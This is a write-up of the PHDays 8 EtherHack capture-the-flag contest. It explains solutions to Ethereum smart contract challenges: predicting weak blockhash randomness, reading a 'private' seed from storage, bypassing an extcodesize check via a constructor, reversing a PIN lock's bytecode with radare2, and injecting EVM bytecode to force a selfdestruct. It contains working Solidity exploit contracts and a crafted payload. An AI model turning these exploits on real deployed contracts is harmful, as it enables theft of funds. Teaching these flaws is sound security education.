PHDays 8: EtherHack Contest Writeup
This year at PHDays security conference a new contest called EtherHack was held. The goal was to be the first to solve all tasks which featured smart contract vulnerabilities. Here we present the detailed explanation of intended solutions.
Azino 777
The goal of this level is to win the lottery and hit the jackpot!
The first three tasks featured bad randomness issues that were covered in our recent research “Predicting Random Numbers in Ethereum Smart Contracts”. The first task being the easiest one had a PRNG that relied on the blockhash of the last block and used it as a source of entropy for random numbers:
As the result of block.blockhash(block.number-1)
would be the same for any transaction within the same block, the attack assumed the use of an exploit contract with the same rand()
function that called the target contract via an internal message:
function WeakRandomAttack(address _target) public payable {
target = Azino777(_target);
}function attack() public {
uint256 num = rand(100);
target.spin.value(0.01 ether)(num);
}
Private Ryan
We added a private seed, nobody will ever learn it!
This task was a bit tougher variation of the previous one. A variable seed
deemed private was used as an offset to a block.number
so that the blockhash would not be bound to the previous block. After each bet seed
would be overwritten with a new “random” value. This was the case of Slotthereum lottery.
contract PrivateRyan {
uint private seed = 1; function PrivateRyan() {
seed = rand(256);
} function spin(uint256 bet) public payable {
require(msg.value >= 0.01 ether);
uint256 num = rand(100);
seed = rand(256);
if(num == bet) {
msg.sender.transfer(this.balance);
}
} /* ... */
}
Similarly to the previous task, a successful attacker would just need to copy the rand()
function into the exploit contract, but this time the value of private variableseed
should have been obtained off-chain and then supplied to the exploit as an argument. To do so, one could take advantage of web3.eth.getStorageAt() method of web3 library:
When we’ve got the seed, all one need to do is just supply it to practically the same exploit as in the first task:
contract PrivateRyanAttack { PrivateRyan target;
uint private seed; function PrivateRyanAttack(address _target, uint _seed) public payable {
target = PrivateRyan(_target);
seed = _seed;
} function attack() public {
uint256 num = rand(100);
target.spin.value(0.01 ether)(num);
}
/* ... */
}
Wheel of Fortune
This lottery uses blockhash of a future block, try to beat it!
As per task description, the goal was to predict the blockhash of a block whose number was saved in the Game
structure upon the bet occurred. This blockhash was then retrieved to generate a random number when a subsequent bet was made.
There were two possible solutions:
- one could call the target contract two times from exploit contract, the first call would result in
block.blockhash(block.number)
being always zero - one could wait for 256 blocks to be mined before making the second bet, so that blockhash of the saved block.number would give a zero due to EVM limitations of the number of available blockhashes
In both cases the winning bet would be uint256(keccak256(bytes32(0))) % 100
or “47”.
Call Me Maybe
This contract does not like when other contracts are calling it.
One way to protect the contract from being called by other contracts is to use the extcodesize
EVM assembly instruction which returns the size of the contract specified by its address. The technique is to use this opcode in inline assembly against msg.sender
’s address. If the size for the address is greater than zero, then msg.sender
is a contract since normal addresses in Ethereum do not have any associated code. The task used exactly this approach to prevent other contracts from calling it.
Transaction property tx.origin
refers to the original issuer of the transaction while msg.sender
points to the last caller. If we send the transaction from the normal address, these variables will be equal and we will end up with a revert()
. That is why in order to solve the challenge one needed to bypass extcodesize
check so that tx.origin
and msg.sender
would differ. Luckily, there is a nice EVM peculiarity that could help to achieve this:
Indeed, at the moment when a newly deployed contract calls another contract in its constructor it does not yet exist on the blockchain, it acts as a wallet only. Hence, it does not have associated code and extcodesize
would yield zero:
contract CallMeMaybeAttack {
function CallMeMaybeAttack(CallMeMaybe _target) payable {
_target.HereIsMyNumber();
}
function() payable {}
}
The Lock
The lock is… locked! Try to find the correct pincode via
unlock(bytes4 pincode)
function. Each unlock attempt costs 0.5 ether!
This task didn’t reveal any piece of code so the participants had to reverse engineer the smart contract bytecode in order to solve the challenge. One of the ways to achieve this was to use radare2 framework which supports EVM disassembly and debugging.
Firstly, let’s deploy the task instance and submit a random guess:
await contract.unlock("1337", {value: 500000000000000000})
→false
Well, it was a solid attempt, but we didn’t have much luck. Let’s try to debug this transaction.
r2 -a evm -D evm "evm://localhost:8545@0xf7dd5ca9d18091d17950b5ecad5997eacae0a7b9cff45fba46c4d302cf6c17b7"
Here we instruct radare2 to use “evm” architecture. The tool then connects to the specified full node and retrieves VM trace of that transaction. At this point we are all set to dive into the EVM bytecode.
The first thing we have to do is to perform analysis:
[0x00000000]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
Then we disassemble the first 1000 instructions (should be enough to cover the whole contract) with pd 1000
and switch to graph view with VV
.
EVM bytecode compiled with solc
usually starts with a function dispatcher which decides which function to call based on the first 4 bytes of call data which is a function signature defined as bytes4(sha3(function_name(params)))
. The function of interest for us is unlock(bytes4)
which corresponds to 0x75a4e3a0
.
Following the flow execution by pressing s
we get into the node which compares callvalue
with the value 0x6f05b59d3b20000
or 500000000000000000 which is 0.5 ether:
push8 0x6f05b59d3b20000
callvalue
lt
If we supplied a necessary amount of ether, we get into a node that resembles a control structure:
push1 0x4
dup4
push1 0xff
and
lt
iszero
push2 0x1a4
jumpi
It pushes value 0x4
onto the stack, performs some bounds checks (must not be greater than 0xff
) and makes lt
comparison with some value that got duplicated from the 4th stack item (dup4
).
Scrolling to the bottom of the graph we see that this 4th item is actually an iterator and this control structure is a loop which corresponds to for(var i=0; i<4; i++)
:
push1 0x1
add
swap4
Looking at the loop body it is evident that it iterates over the input 4 bytes and performs some operations on each byte. Firstly, it ensures that Nth byte is greater than 0x30
:
push1 0x30
dup3
lt
iszero
and then that it is lower than 0x39
:
push1 0x39
dup3
gt
iszero
which basically is a check that the byte is within 0–9 range. If the check succeeds, we get into the most important code block:
Let’s split it into the following parts:
- 3rd element on the stack is an ASCII code of the Nth byte of the pincode.
0x30
(ASCII code of zero) is pushed onto the stack and then subtracted from the byte’s code:
push1 0x30
dup3
sub
Which means pincode[i] - 48
or we basically get here the actual digit from the ASCII code, let’s define it as d
.
2. 0x4
is pushed onto the stack and then is used as exponent for the second element on the stack which isd
:
swap1
pop
push1 0x4
dup2
exp
Which means d ** 4
3. 5th element from the stack is retrieved and the result of exponentiation is added to it, let’s define it as S
:
dup5
add
swap4
pop
dup1
Which means S += d ** 4
4. 0xa
(ASCII code for 10) is pushed onto the stack and is used as a multiplier for the 7th element from the stack (6th before the push), we don’t know what it is, so let’s define it as U
. Then d
is added to the result of the multiplication:
push1 0xa
dup7
mul
add
swap5
pop
Which means: U = U * 10 + d
or, simply put, this expression reconstructs the whole pincode as a number from individual bytes ([0x1, 0x3, 0x3, 0x7] → 1337).
We did the most difficult part, now let’s proceed to the code after the loop.
dup5
dup5
eq
If 5th and 6th elements on the stack are equal, the flow will get us to an sstore
which sets some flag in the contract storage. Since this is the only sstore
, this is probably what we are looking for!
But how do we pass this check? As we have discovered earlier, 5th element on the stack is S
and 6th element is U
. Since S
is a sum of each pincode digit raised to the 4th power, we need a pincode that will be equal to this sum. In our case, the code tested that 1**4 + 3**4 + 3**4 + 7**4 was not equal to 1337 and we didn’t reach the winningsstore
.
Surely, we can now find a number that satisfies this equation. There are only three numbers that can be written as the sum of fourth powers of their digits: 1634, 8208, 9474. Any of them would unlock the lock!
Pirate Ship
Ahoy, landlubber! The pirate ship “Black Pearl” is at anchor. Make it pull the anchor and haul the black jack flag to set off for the search of treasures.
The normal workflow of the contract assumed three actions:
- call
dropAnchor()
with a block number that must be greater than 100k blocks than the current one. The function dynamically creates a contract that represents “an anchor”, which can be “pulled” with aselfdestruct()
after the specified block - call
pullAnchor()
that triggersselfdestruct()
if enough time has passed (really long time!) - call
sailAway()
that setsblackJackIsHauled
totrue
if the anchor contract does not exist
The vulnerability is quite evident: we have a direct assembly injection into a newly created contract in dropAnchor()
. But the real challenge was to craft a payload that would let us pass the condition on block.number
.
In EVM it is possible to create contracts using create
opcode. Its arguments are “value”, “input offset” and “input size”. Value is a bytecode that unwraps the actual contract, i.e. init code. In our case init code + code to deploy is just a uint256 (kudos to GasToken team for the idea):
0x6a63004141414310585733ff600052600b6015f3
where the bytes in bold is the contract code to deploy and 414141 is the injection point. Since our goal is to get rid of throw
we need to inject our new contract and overwrite the trailing part of init code. Let’s try to inject this new contract with 0xff
which will unconditionally selfdestruct()
the anchor contract:
68 414141ff3f3f3f3f3f ;; push9 contract
60 00 ;; push1 0
52 ;; mstore
60 09 ;; push1 9
60 17 ;; push1 17
f3 ;; return
If we convert this sequence of bytes to a uint256 (9081882833248973872855737642440582850680819
) and supply it as an input to dropAnchor()
, it will give us the following value of code
variable (bytecode in bold is our payload):
0x630068414141ff3f3f3f3f3f60005260096017f34310585733ff
After code
variable becomes part of initcode
variable we get the following value:
0x68414141ff3f3f3f3f3f60005260096017f34310585733ff600052600b6015f3
As you see high bytes 0x6300
are gone, the trailing part containing the original bytecode is discarded after 0xf3
(return
).
As a result a new anchor contract with altered logic is created:
41 ;; coinbase
41 ;; coinbase
41 ;; coinbase
ff ;; selfdestruct
3f ;; junk
3f ;; junk
3f ;; junk
3f ;; junk
3f ;; junk
If we now call pullAnchor()
, this contract will be immediately destroyed since we don’t have a condition on block.number
any more. After that, the call tosailAway()
will make us a winner!
Results
- The first place and 1,000 USD in Ether: Alexey Pertsev (p4lex)
- The second place and Ledger Nano S: Alexey Karpov
- The third place and PHDays souvenirs: Alexander Vlasov
Full standings: https://etherhack.positive.com/#/scoreboard
Congratulations to the winners and thanks to all participants!
P.S. Kudos to Zeppelin for open-sourcing Ethernaut CTF platform.